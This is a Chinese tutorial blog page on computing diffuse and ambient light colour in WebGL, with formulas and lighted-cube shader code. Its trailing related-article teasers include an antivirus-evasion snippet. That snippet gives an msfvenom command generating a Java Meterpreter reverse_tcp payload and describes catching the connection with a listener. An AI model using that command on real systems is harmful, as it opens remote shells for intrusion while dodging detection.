当前位置: 首页 > news >正文

WebGL 计算平行光、环境光下的漫反射光颜色

目录

光照原理

光源类型

平行光

点光源

环境光

反射类型

漫反射

漫反射光颜色 计算公式

环境反射

环境反射光颜色

表面的反射光颜色(漫反射和环境反射同时存在时)计算公式

平行光下的漫反射

根据光线和法线方向计算入射角θ(以便求两者点积:cosθ)

归一化

法线:表面的朝向

一个表面具有两个法向量

平面的法向量唯一

示例代码——平行光漫反射(LightedCube.js)

示例效果

代码详解 

顶点着色器部分

JavaScript程序部分

环境光下的漫反射

示例代码——平行光漫反射+环境反射(LightedCube_ambient.js)

示例效果


光照原理

现实世界中的物体被光线照射时,会反射一部分光。只有当反射光线进入你的眼睛时,你才能够看到物体并辩认出它的颜色。比如,白色的盒子会反射白光,当白光进入你的眼睛时,你才能看到盒子是白色的。

在现实世界中,当光线照射到物体上时,发生了两个重要的现象(见下图):

● 根据光源和光线方向,物体不同表面的明暗程度变得不一致。

● 根据光源和光线方向,物体向地面投下了影子。

在生活中,你可能常常会注意到阴影,却很少注意到明暗差异。实际上正是明暗差异给了物体立体感,虽然难以察觉,但它始终存在。虽然上图所示的立方体是纯白色的,但我们还是能够辨认它的每个面,因为它的每个面受到光照的程度不同。如你所见,向着光的表面看上去明亮一些,而侧着光或背着光的表面看上去就暗一些。正是有了这些差异,立方体看上去才真正像一个立方体。 

在三维图形学中术语着色(shading)的真正含义就是,根据光照条件重建“物体各表面明暗不一的效果”的过程。物体向地面投下影子的现象,又被称为阴影(shadowing)。

在讨论着色过程之前,考虑两件事:

● 发出光线的光源的类型。

● 物体表面如何反射光线。

在开始编写代码之前,我们先来理解一下上述两个问题。

光源类型

当物体被光线照射时,必然存在发出光线的光源。真实世界中的光主要有两种类型:平行光(directional light),类似于自然中的太阳光;点光源光(point light),类似于人造灯泡的光。此外,我们还用环境光(ambient light)来模拟真实世界中的非直射光(也就是由光源发出后经过墙壁或其他物体反射后的光)。三维图形学还使用一些其他类型的光,比如用聚光灯(spot light)来模拟电筒、车前灯等。至于其他的更加特殊的光源类型,可以参考OpenGL ES 2.0 Programming Guide一书

平行光

 顾名思义,平行光的光线是相互平行的,平行光具有方向。平行光可以看作是无限远处的光源(比如太阳)发出的光。因为太阳距离地球很远,所以阳光到达地球时可以认为是平行的。平行光很简单,可以用一个方向和一个颜色来定义

点光源

点光源光是从一个点向周围的所有方向发出的光。点光源光可以用来表示现实中的灯泡、火焰等。我们需要指定点光源的位置和颜色。光线的方向将根据点光源的位置和被照射之处的位置计算出来,因为点光源的光线的方向在场景内的不同位置是不同的。

环境光

环境光(间接光)是指那些经光源(点光源或平行光源)发出后,被墙壁等物体多次反射,然后照到物体表面上的光。环境光从各个角度照射物体,其强度都是一致的。比如说,在夜间打开冰箱的门,整个厨房都会有些微微亮,这就是环境光的作用。环境光不用指定位置和方向,只需要指定颜色即可。

现在,你已经了解了三种主要的光源类型,下面来讨论物体表面反射光线的几种方式。

反射类型

物体向哪个方向反射光,反射的光是什么颜色,取决于以下两个因素:入射光和物体表面的类型。入射光的信息包括入射光的方向和颜色,而物体表面的信息包括表面的固有颜色(也称基底色)和反射特性。 

物体表面反射光线的方式有两种:漫反射(diffuse reflection)和环境反射(enviroment/ambient reflection)。本节的重点是如何根据上述两种信息(入射光和物体表面特性)来计算出反射光的颜色。本节会涉及一些简单的数学计算。

漫反射

漫反射是针对平行光或点光源而言的。漫反射的反射光在各个方向上是均匀的,如下图所示。如果物体表面像镜子一样光滑,那么光线就会以特定的角度反射出去;但是现实中的大部分材质,比如纸张、岩石、塑料等,其表面都是粗糙的,在这种情况下反射光就会以不固定的角度反射出去。漫反射就是针对后一种情况而建立的理想反射模型。

在漫反射中,反射光的颜色取决于入射光的颜色、表面的基底色、入射光与表面形成的入射角。我们将入射角定义为入射光与表面的法线形成的夹角,并用θ表示,那么漫反射光的颜色可以根据下式计算得到: 

漫反射光颜色 计算公式

<漫反射光颜色>=<入射光颜色>×<表面基底色>× cosθ

式子中,<入射光颜色>指的是点光源或平行光的颜色,乘法操作是在颜色矢量上逐分量(R、G、B)进行的。因为漫反射光在各个方向上都是“均匀”的,所以从任何角度看上去其强度都相等,如下图所示。 

漫反射光各方向均匀

环境反射

环境反射是针对环境光而言的。在环境反射中,反射光的方向可以认为就是入射光的反方向。由于环境光照射物体的方式就是各方向均匀、强度相等的,所以反射光也是各向均匀的,如下图所示。我们可以这样来描述它: 

环境反射光颜色

<环境反射光颜色>=<入射光颜色>×<表面基底色>

这里的<入射光颜色>实际上也就是环境光的颜色。

当漫反射和环境反射同时存在时,将两者加起来,就会得到物体最终被观察到的颜色:

表面的反射光颜色(漫反射和环境反射同时存在时)计算公式

<表面的反射光颜色>=<漫反射光颜色>+<环境反射光颜色>

注意,两种反射光并不一定总是存在,也并不一定要完全按照上述公式来计算。渲染三维模型时,你可以修改这些公式以达到想要的效果。 

下面来建立一个示例程序,在合适的位置放置一个光源,对场景进行着色。首先实现平行光下的漫反射。

平行光下的漫反射

如前所述,漫反射的反射光,其颜色与入射光在入射点的入射角θ有关。平行光入射产生的漫反射光的颜色很容易计算,因为平行光的方向是唯一的,对于同一个平面上的所有点,入射角是相同的。根据等式——漫反射光颜色 计算平行光入射的漫反射光颜色。

<漫反射光颜色>=<入射光颜色>×<表面基底色>× cosθ

上式用到了三项数据:

● 平行入射光的颜色

● 表面的基底色

● 入射光与表面形成的入射角θ

入射光的颜色可能是白色的,比如阳光;也可能是其他颜色的,比如隧道中的橘黄色灯光。我们知道颜色可以用RGB值来表示,比如标准强度的白光颜色值就是(1.0,1.0,1.0)。物体表面的基底色其实就是“物体本来的颜色”(或者说是“物体在标准白光下的颜色”)。按照上式公式计算反射光颜色时,我们对RGB值的三个分量逐个相乘。 

假设入射光是白色(1.0,1.0,1.0),而物体表面的基底色是红色(1.0,0.0,0.0),而入射角θ为0.0(即入射光垂直入射),根据上式,入射光的红色分量R为1.0,基底色的红色分量R为1.0,入射角余弦值cosθ为1.0,那么反射光的红色分量R就可以有如下计算得到:

R=1.0*1.0*1.0=1.0

类似地,我们可以算出绿色分量G和蓝色分量B:

G=1.0*0.0*1.0=0.0

B=1.0*0.0*1.0=0.0

根据上面的计算,当白光垂直入射到红色物体的表面时,漫反射光的颜色就变成了红色(1.0,0.0,0.0)。而如果是红光垂直入射到白色物体的表面时,漫反射光的颜色也会是红色。在这两种情况下,物体在观察者看来就是红色的,这很符合我们在现实世界中的经验。

那么如果入射角θ是90度,也就是说入射光与表面平行(90度相当于没有没有照射到物体),一点都没有“照射”到表面上,在这种情况下会怎样呢?根据我们在现实世界中的经验,物体表面应该完全不反光,看上去是黑的。验证一下:当θ是90度的时候,cosθ的值是0,那么根据上面的式子,不管入射光的颜色和物体表面基底色是什么,最后得到的漫反射光颜色都为(0.0,0.0,0.0),也就是黑色,正如我们预期的那样。同样,如果θ是60度,也就是斜射平行光斜射到物体表面上,那么该表面应该还是红色的,只不过比垂直入射时暗一些。根据上式,cosθ是0.5,漫反射光颜色为(0.5,0.0,0.0),即暗红色。 

这个简单的例子帮助你了解了如何计算漫反射光的颜色。但是我们并不知道入射角θ是多少,只知道光线的方向。下面我们就来通过光线和物体表面的方向来计算入射角θ,将漫反射光颜色公式中的θ换成我们更加熟悉的东西。

根据光线和法线方向计算入射角θ(以便求两者点积:cosθ)

在程序中,我们没法像前一节最后那样,直接说“入射角θ是多少多少度”。我们必须根据入射光的方向和物体表面的朝向(即法线方向)来计算出入射角。这并不简单,因为在创建三维模型的时候,我们无法预先确定光线将以怎样的角度照射到每个表面上。但是,我们可以确定每个表面的朝向。在指定光源的时候,再确定光的方向,就可以用这两项信息来计算出入射角了。

幸运的是,我们可以通过计算两个矢量的点积,来计算这两个矢量的夹角余弦值cosθ(两个矢量的点积等同于两个矢量归一化后的夹角的cos值)。点积运算的使用非常频繁,GLSL ES内置了点积运算函数。在公式中,我们使用点符号·来表示点积运算(进行点积运算前需对矢量归一化,即长度为1)。这样,cosθ就可以通过下式计算出来:

cosθ =<光线方向>·<法线方向>

因此,上述漫反射光颜色公式可以改写成下式,如下所示: 

<漫反射光颜色>=<入射光颜色>×<表面基底色>×(<光线方向>·<法线方向>)

这里有两点需要注意:其一,光线方向矢量和表面法线矢量的长度必须为1,否则反射光的颜色就会过暗或过亮。将一个矢量的长度调整为1,同时保持方向不变的过程称之为归一化(normalization) 。GLSL ES提供了内置的归一化函数,你可以直接使用。

归一化

比如矢量n为(nx, ny, nz),则其长度为|n| = (nx平方 + ny平方 + nz平方)的开方

对矢量n进行归一化后的结果是(nx/m, ny/m, nz/m),式中m为n的长度,比如,矢量(2.0, 2.0, 1.0)的长度|n| = sqrt(9) = 3,那么其归一化之后就是(2.0/3.0, 2.0/3.0, 1.0/3.0)

其二,这里(包括后面)所谓的“光线方向”,实际上是入射方向的反方向,即从入射点指向光源方向(因为这样,该方向与法线方向的夹角才是入射角),如下图所示。

这里用到了表面的法线方向来参与对θ的计算,可是我们还不知道法线方向,下一节就来研究如何获取表面的法线方向。 

法线:表面的朝向

物体表面的朝向,即垂直于表面的方向,又称法线或法向量。法向量有三个分量,向量(nx,ny,nz)表示从原点(0,0,0)指向点(nx,ny,nz)的方向。比如说,向量(1,0,0)表。示x轴正方向,向量(0,0,1)表示z轴正方向。涉及到表面和法向量的问题时,必须考虑以下两点:

一个表面具有两个法向量

在三维图形学中,表面的正面和背面取决于绘制表面时的顶点顺序。当你按照v0,v1,v2,v3的顶点顺序绘制了一个平面,那么当你从正面观察这个表面时,这4个顶点是顺时针的,而你从背面观察该表面,这4个顶点就是逆时针的(即第3章中用来确定旋转方向的“右手法则”)。如上图所示,该平面正面的法向量是(0,0,-1)。 

平面的法向量唯一

由于法向量表示的是方向,与位置无关,所以一个平面只有一个法向量。换句话说,平面的任意一点都具有相同的法向量。

进一步来说,即使有两个不同的平面,只要其朝向相同(也就是两个平面平行),法向量也相同。比方说,有一个经过点(10,98,9)的平面,只要它垂直于z轴,它的法向量仍然是(0,0,1)和(0,0,-1),和经过原点并垂直于z轴的平面一样,如图。

下图(左)显示了示例程序中的立方体及每个表面的法向量。比如立方体表面上的法向量表示为n(0,1,0)。 

一旦计算好每个平面的法向量,接下来的任务就是将数据传给着色器程序。以前的程序把颜色作为“逐顶点数据”存储在缓冲区中,并传给着色器。对法向量数据也可以这样做。如上图(右)所示,每个顶点对应3个法向量,就像之前每个顶点都对应3个颜色值一样 

示例程序LightedCube显示了一个处于白色平行光照射下的红色三角形,看下面代码

示例代码——平行光漫反射(LightedCube.js)

var VSHADER_SOURCE =  // p288'attribute vec4 a_Position;\n' + 'attribute vec4 a_Color;\n' + 'attribute vec4 a_Normal;\n' +        // 法向量'uniform mat4 u_MvpMatrix;\n' +'uniform vec3 u_LightColor;\n' +     // 光线颜色'uniform vec3 u_LightDirection;\n' + // 归一化的世界坐标'varying vec4 v_Color;\n' +'void main() {\n' +'  gl_Position = u_MvpMatrix * a_Position ;\n' +// 对法向量进行归一化'  vec3 normal = normalize(a_Normal.xyz);\n' +// 计算光线方向和法向量的点积(即两者归一化后的夹角的余弦值:cosθ)'  float nDotL = max(dot(u_LightDirection, normal), 0.0);\n' +// 计算漫反射光的颜色(入射光颜色 * 表面基底色 * cosθ)'  vec3 diffuse = u_LightColor * a_Color.rgb * nDotL;\n' +'  v_Color = vec4(diffuse, a_Color.a);\n' +'}\n';var FSHADER_SOURCE = '#ifdef GL_ES\n' +'precision mediump float;\n' +'#endif\n' +'varying vec4 v_Color;\n' +'void main() {\n' +'  gl_FragColor = v_Color;\n' +'}\n';function main() {var canvas = document.getElementById('webgl');var gl = getWebGLContext(canvas);if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) return// 设置顶点的坐标、颜色和法向量var n = initVertexBuffers(gl);// 设置清除颜色并启用深度测试gl.clearColor(0, 0, 0, 1);gl.enable(gl.DEPTH_TEST);// 获取统一变量的存储位置等等var u_MvpMatrix = gl.getUniformLocation(gl.program, 'u_MvpMatrix');var u_LightColor = gl.getUniformLocation(gl.program, 'u_LightColor');var u_LightDirection = gl.getUniformLocation(gl.program, 'u_LightDirection');// 设置光线颜色(白色)gl.uniform3f(u_LightColor, 1.0, 1.0, 1.0);// 设置光线方向(世界坐标系下的)var lightDirection = new Vector3([0.5, 3.0, 4.0]);lightDirection.normalize();     // 归一化gl.uniform3fv(u_LightDirection, lightDirection.elements); // 见cuon-matrix// 计算模型视图投影矩阵var mvpMatrix = new Matrix4();    // 模型视图投影矩阵mvpMatrix.setPerspective(30, canvas.width/canvas.height, 1, 100); // 计算投影矩阵mvpMatrix.lookAt(3, 3, 7, 0, 0, 0, 0, 1, 0); // 计算视图矩阵// 将模型视图投影矩阵传给u_MvpMatrix变量gl.uniformMatrix4fv(u_MvpMatrix, false, mvpMatrix.elements);// 清除颜色和深度缓冲gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);gl.drawElements(gl.TRIANGLES, n, gl.UNSIGNED_BYTE, 0);   // 绘制立方体
}function initVertexBuffers(gl) {// Create a cube//    v6----- v5//   /|      /|//  v1------v0|//  | |     | |//  | |v7---|-|v4//  |/      |///  v2------v3var vertices = new Float32Array([   // 顶点坐标1.0, 1.0, 1.0,  -1.0, 1.0, 1.0,  -1.0,-1.0, 1.0,   1.0,-1.0, 1.0, // v0-v1-v2-v3 front1.0, 1.0, 1.0,   1.0,-1.0, 1.0,   1.0,-1.0,-1.0,   1.0, 1.0,-1.0, // v0-v3-v4-v5 right1.0, 1.0, 1.0,   1.0, 1.0,-1.0,  -1.0, 1.0,-1.0,  -1.0, 1.0, 1.0, // v0-v5-v6-v1 up-1.0, 1.0, 1.0,  -1.0, 1.0,-1.0,  -1.0,-1.0,-1.0,  -1.0,-1.0, 1.0, // v1-v6-v7-v2 left-1.0,-1.0,-1.0,   1.0,-1.0,-1.0,   1.0,-1.0, 1.0,  -1.0,-1.0, 1.0, // v7-v4-v3-v2 down1.0,-1.0,-1.0,  -1.0,-1.0,-1.0,  -1.0, 1.0,-1.0,   1.0, 1.0,-1.0  // v4-v7-v6-v5 back]);var colors = new Float32Array([    // 颜色1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0,     // v0-v1-v2-v3 front1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0,     // v0-v3-v4-v5 right1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0,     // v0-v5-v6-v1 up1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0,     // v1-v6-v7-v2 left1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0,     // v7-v4-v3-v2 down1, 0, 0,   1, 0, 0,   1, 0, 0,  1, 0, 0     // v4-v7-v6-v5 back]);var normals = new Float32Array([    // 法向量0.0, 0.0, 1.0,   0.0, 0.0, 1.0,   0.0, 0.0, 1.0,   0.0, 0.0, 1.0,  // v0-v1-v2-v3 front1.0, 0.0, 0.0,   1.0, 0.0, 0.0,   1.0, 0.0, 0.0,   1.0, 0.0, 0.0,  // v0-v3-v4-v5 right0.0, 1.0, 0.0,   0.0, 1.0, 0.0,   0.0, 1.0, 0.0,   0.0, 1.0, 0.0,  // v0-v5-v6-v1 up-1.0, 0.0, 0.0,  -1.0, 0.0, 0.0,  -1.0, 0.0, 0.0,  -1.0, 0.0, 0.0,  // v1-v6-v7-v2 left0.0,-1.0, 0.0,   0.0,-1.0, 0.0,   0.0,-1.0, 0.0,   0.0,-1.0, 0.0,  // v7-v4-v3-v2 down0.0, 0.0,-1.0,   0.0, 0.0,-1.0,   0.0, 0.0,-1.0,   0.0, 0.0,-1.0   // v4-v7-v6-v5 back]);// 顶点的索引var indices = new Uint8Array([0, 1, 2,   0, 2, 3,    // front4, 5, 6,   4, 6, 7,    // right8, 9,10,   8,10,11,    // up12,13,14,  12,14,15,    // left16,17,18,  16,18,19,    // down20,21,22,  20,22,23     // back]);// 将顶点属性写入缓冲区(坐标、颜色和法线)if (!initArrayBuffer(gl, 'a_Position', vertices, 3, gl.FLOAT)) return -1;if (!initArrayBuffer(gl, 'a_Color', colors, 3, gl.FLOAT)) return -1;if (!initArrayBuffer(gl, 'a_Normal', normals, 3, gl.FLOAT)) return -1;var indexBuffer = gl.createBuffer();gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, indices, gl.STATIC_DRAW);return indices.length;
}function initArrayBuffer (gl, attribute, data, num, type) {var buffer = gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER, buffer);gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);var a_attribute = gl.getAttribLocation(gl.program, attribute);gl.vertexAttribPointer(a_attribute, num, type, false, 0, 0);gl.enableVertexAttribArray(a_attribute);gl.bindBuffer(gl.ARRAY_BUFFER, null);return true;
}

示例效果

代码详解 

注意,顶点着色器实现了漫反射光颜色公式

<漫反射光颜色>=<入射光颜色>×<表面基底色>×(<光线方向>·<法线方向>)

计算漫反射光颜色需要:(1)入射光颜色,(2)表面基底色,(3)入射光方向,(4)表面法线方向。其中后两者都必须是归一化的(即长度为1.0)。 

顶点着色器部分

顶点着色器中的a_Color变量表示表面基底色(第3行),a_Normal变量表示表面法线方向(第4行),u_LightColor变量表示入射光颜色(第6行),u_LightDirection变量表示入射光方向(第7行)。注意,入射光方向u_LightDirection是在世界坐标系下的,而且在传入着色器前已经在JavaScript中归一化了。这样,我们就可以避免在顶点着色器每次执行时都对它进行归一化。

有了这些信息,就可以开始在顶点着色器中进行计算了。首先,对a_Normal进行归一化(第12行)。严格地说,本例通过缓冲区传入的法向量都是已经归一化过的,所以实际上这一步可以略去。但是顶点着色器可不知道传入的矢量是否经过了归一化,而且这里没有节省开销的理由(法向量是逐顶点的),所以,有这一步总比没有要好: 

a_Normal变量是vec4类型的,使用前三个分量x、y和z表示法线方向,所以我们将这三个分量提取出来进行归一化。对vec3类型的变量进行归一化就不必这样做。本例使用vec4类型的a_Normal变量是为了方便对下一个示例程序进行扩展。GLSL ES提供了内置函数normalize()对矢量参数进行归一化。归一化的结果赋给了vec3类型的normal变量,供之后使用。 

接下来,根据漫反射光颜色公式计算点积<光线方向>·<法线方向>。光线方向存储在u_LightDirection变量中,而且已经被归一化了,可以直接使用。法线方向存储在之前进行归一化后的结果normal变量中(第12行)。使用GLSL ES提供的内置函数dot()计算两个矢量的点积<光线方向>·<法线方向>,该函数接收两个矢量作为参数,返回它们的点积(第14行)。

如果点积大于0,就将点积赋值给nDotL变量,如果其小于0,就将0赋给该变量。使用内置函数max()完成这个任务,将点积和0两者中的较大者赋值给nDotL。

点积值小于0,意味着cosθ中的θ大于90度。θ是入射角,也就是入射反方向(光线方向)与表面法向量的夹角,θ大于90度说明光线照射在表面的背面上,如图8.11所示。此时,将nDotL赋为0.0。

现在准备工作都已经就绪了,我们在顶点着色器中直接计算漫反射颜色公式第16行)。注意a_Color变量即顶点的颜色,被从vec4对象转成了vec3对象,因为其第4个分量(透明度)与漫反射颜色公式无关。 

实际上,物体表面的透明度确实会影响物体的外观。但这时光照的计算较为复杂,现在暂时认为物体都是不透明的,这样就计算出了漫反射光的颜色diffuse:

然后,将diffuse的值赋给v_Color变量(第17行)。v_Color是vec4对象,而diffuse是vec3对象,需要将第4分量补上为1.0。 

顶点着色器运行的结果就是计算出了v_Color变量,其值取决于顶点的颜色、法线方向、平行光的颜色和方向。v_Color变量将被传入片元着色器并赋值给gl_FragColor变量。本例中的光是平行光,所以立方体上同一个面的颜色也是一致的,没有之前出现的颜色渐变效果。 

这就是顶点着色器的代码,下面来看一下JavaScript程序如何将数据传给顶点着色器并计算式漫反射光颜色公式。

JavaScript程序部分

JavaScript将光的颜色u_LightColor和方向u_LightDirection传给顶点着色器。首先用gl.uniform3f()函数将u_LightColor赋值为(1.0,1.0,1.0),表示入射光是白光:

下一步是设置光线方向,注意光线方向必须被归一化。cuon-matrix.js为Vector3类型提供了normalize()函数,以实现归一化。该函数的用法非常简单:在你想要进行归一化的Vector3对象上调用normalize()函数即可(第49行)。注意JavaScript和GLSL ES中对矢量进行归一化的不同之处。

归一化后的光线方向以Float32Array类型的形式存储在lightDirection对象的elements属性中,使用gl.uniform3fv()将其分配给着色器中的u_LightDirection变量(第50行)。 

最后,在initVertexBuffers()函数中为每个顶点定义法向量,法向量数据存储在normals数组中(第92行),然后被initArrayBuffer()函数(第115行)传给了顶点着色器的a_Normal变量。

initArrayBuffer()函数的作用是将第3个参数指定的数组(normals)分配给第2个参数指定的着色器中的变量。

环境光下的漫反射

现在,我们已经成功实现了平行光下的漫反射光,LightedCube的效果如下图所示。但是下图和现实中的立方体还是有点不大一样,特别是右侧表面是全黑的,仿佛不存在一样。

虽然程序是严格按照 等式:漫反射光颜色 对场景进行光照的,但经验告诉我们肯定有什么地方不对劲。在现实世界中,光照下物体的各表面的差异不会如此分明:那些背光的面虽然会暗一些,但绝不至于黑到看不见的程度。实际上,那些背光的面是被非直射光(即其他物体,如墙壁的反射光等)照亮的,前面提到的环境光就起到了这部分非直射光的作用,它使场景更加逼真。因为环境光均匀地从各个角度照在物体表面,所以由环境光反射产生的颜色只取决于光的颜色和表面基底色,使用 等式:环境反射光颜色 计算后我们再来看一下: 

<环境反射光颜色>=<入射光颜色>×<表面基底色>

接下来,向示例程序中加入上式中的环境光所产生的反射光颜色,如 等式:表面的反射光颜色(漫反射和环境反射同时存在)所示: 

<表面的反射光颜色>=<漫反射光颜色>+<环境反射光颜色>

环境光是由墙壁等其他物体反射产生的,所以环境光的强度通常比较弱。假设环境光是较弱的白光(0.2,0.2,0.2),而物体表面是红色的(1.0,0.0,0.0)。根据 等式:环境反射光颜色,由环境光产生的反射光颜色就是暗红色(0.2,0.0,0.0)。同样,在蓝色的房间中,环境光为(0.0,0.0,0.2),有一个白色的物体,即表面基底色为(1.0,1.0,1.0),那么由环境光产生的漫反射光颜色就是淡蓝色(0.0,0.0,0.2)。 

示例程序LightedCube_ambient实现了环境光漫反射的效果,如下所示。可见,完全没有被平行光照到的表面也不是全黑,而是呈现较暗的颜色,与真实世界更加相符。

示例代码——平行光漫反射+环境反射(LightedCube_ambient.js)

示例程序代码大部分与LightedCube一样,只有少量修改,如下所示。

顶点着色器中新增了u_AmbientLight变量(第10行)用来接收环境光的颜色值。接着根据式8.2,使用该变量和表面的基底色a_Color计算出反射光的颜色,将其存储在ambient变量中(第21行)。这样我们就即有环境光反射产生的颜色ambient,又有了由平行光漫反射产生的颜色diffuse。最后根据 等式:表面的反射光颜色(漫反射和环境反射同时存在)计算物体最终的颜色(第23行)并存储在v_Color变量中,作为物体表面最终显示出的颜色,和LightedCube一样。 

如你所见,与LightedCube相比,本例对顶点着色器的v_Color变量加上了ambient变量(第23行),就使得整个立方体变亮了一些,这正是环境光从各个方向均匀照射在立方体上产生的。

示例效果

相关文章:

WebGL 计算平行光、环境光下的漫反射光颜色

目录 光照原理 光源类型 平行光 点光源 环境光 反射类型 漫反射 漫反射光颜色 计算公式 环境反射 环境反射光颜色 表面的反射光颜色(漫反射和环境反射同时存在时)计算公式 平行光下的漫反射 根据光线和法线方向计算入射角θ(以便…...

解决SpringMVC在JSP页面取不到ModelAndView中数据

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 问题描述 ModelAndView携带数据跳转到指定JSP页面后在该页面通过EL表达式取不到原本存放在ModelAndView中的数据。 问题原因 在IDEA中创建Maven工程时web.xml中默认的约束…...

Spring 6.0 新特性

文章目录 Spring的发展历史AOTGraalVMSpringBoot实战AOTRuntimeHints案例分析RuntimeHintsRegistrar SpringBoot中AOT核心代码 Spring的发展历史 AOT Spring 6.0的新特性Ahead of Time(AOT)编译是一种技术,可以提前将Spring应用程序编译成原…...

计算机竞赛 深度学习+opencv+python实现昆虫识别 -图像识别 昆虫识别

文章目录 0 前言1 课题背景2 具体实现3 数据收集和处理3 卷积神经网络2.1卷积层2.2 池化层2.3 激活函数:2.4 全连接层2.5 使用tensorflow中keras模块实现卷积神经网络 4 MobileNetV2网络5 损失函数softmax 交叉熵5.1 softmax函数5.2 交叉熵损失函数 6 优化器SGD7 学…...

软件过程能力成熟度评估——CSMM认证

CSMM认证又称为“软件过程能力过程成熟度评估”,由中国电子技术标准化研究院联合五十余家产学研用相关方结合我国实际,自主制定的团体标准,于2021年6月8号发布,目的是为了帮助国内软件企业对自身的软件能力进行评估和判断&#xf…...

学内核之二十一:系统调用栈结构分析

目录 一 构建分析环境 二 栈的位置 三 栈开头8字节 四 寄存器环境 五 R4和R5 六 如何确定系统调用的具体函数 一 构建分析环境 为了分析方便,做了如下测试环境: 内核实现一个简单的创建字符设备的驱动 应用层实现一个c程序,操作为打开内…...

互联网3.0 数字原生——数物虚实多维细粒度泛在融合

随着计算机、宽带网、通信技术的飞速发展,互联网技术和软硬件系统也不断演进,催生了一场前所未有的数字化革命。从Web1.0到Web3.0,以及虚拟现实、人工智能和数字孪生等领域的崛起,每一步都勾画出了一个崭新的数字未来,…...

实现AIGC更好的数据存力,这家科技巨头为我们指明了方向

存力即数据存储能力 蕴藏着巨大的发展机会 【全球存储观察 | 热点关注】 2023年,全球被ChatGPT的热潮席卷,拥抱AIGC的创新赛道成为众多企业的新选择。 全球存储观察分析指出,影响AIGC发展的三大因素也日益凸显,即算…...

企业如何在抖音上搞到TOB潜在精准客户流量?

我们都知道,现在互联网上流量都被集中了几个大的平台里。而抖音,一定是绕不开那个!图片在公众号:白杨SEO上去看。 抖音,在很多人的传统印象里,还只是一个娱乐短视频APP,用来打发时间而已。事实…...

JeecgBoot v3.5.5 版本发布,性能大升级版本—开源免费的低代码开发平台

项目介绍 JeecgBoot是一款企业级的低代码平台!前后端分离架构 SpringBoot2.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT 支持微服务。强大的代码生成器让前后端代码一键生成! JeecgBoot引领…...

与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E

https://www.luogu.com.cn/problem/CF444E 首先肯定二分 然后是棵树,所以考虑按顺序枚举边权 然后肯定会有连通块和并查集 考虑现在场上有多个连通块,我们只保留大于 m i d mid mid 的边 则每个连通块都必须往外连边 一个很朴素的思路是判定每个连…...

解决VSCode下载速度很慢

这是VSCode的官网: Visual Studio Code - Code Editing. Redefined 按照官网的下载链接,速度实在是感人! 解决办法也很简单,把链接换为CDN加速的链接 把下载链接中的az764295.vo.msecnd.net 替换为👉 vscode.cdn.azu…...

悬赏算命测算源码可以用二维码收款 可以直接拿来运营

首发悬赏算命测算源码可以用二维码收款 可以直接拿来运营吸金!用户可以通过发布悬赏赏金算命,也可以通过升级发布测算任务来吸金 测试环境:php5.6apache2.4mysq5.6 安装教程: 测试环境:php5.6apache2.4mysq5.6 安装&…...

在Linux中安装nginx-1.20.1+php-7.4.28(增加扩展)

NginxPHP安装在公网IP为x.x.x.x的服务器上 需要下载安装的软件版本:nginx-1.20.1php-7.4.28 需要增加的PHP扩展如下: 在编译安装php-7.4.28时加上的pcntl; 单独下载安装的Wxwork_finance_sdk;(在编译安装php-7.4.2…...

使用vue-cli搭建SPA项目

一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA(Single Page Application)项目是一种使用单页面架构的Web应用项目。在SPA项目中,整个应用程序只有一个HTML页面,通过动态加载数据和更新DOM来实…...

PLC串口通讯和通讯接口知识汇总

在使用PLC的时候会接触到很多的通讯协议以及通讯接口,最基本的PLC串口通讯和基本的通讯接口你都了解吗? 一、什么是串口通讯? 串口是一种接口标准,是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准,没…...

Vue基础入门---详细简介

一,对Vue的概念 1.1 什么是Vue ? 一种流行的JavaScript前端框架,用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制,使得数据的变化能够自动更新相关的DOM元素&#x…...

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记

一、普通拦截器 1,新建类MyWebConfig实现WebMvcConfigurer,实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用,越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中,确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案,针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿,在这互联网时代,更是流量为王。各个平台里的每个视频、每张图片,背后都有着算法的身影,支配着所有人的流量。作为内容创作者及运营者来说,除了制作高质量的内容以外,也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

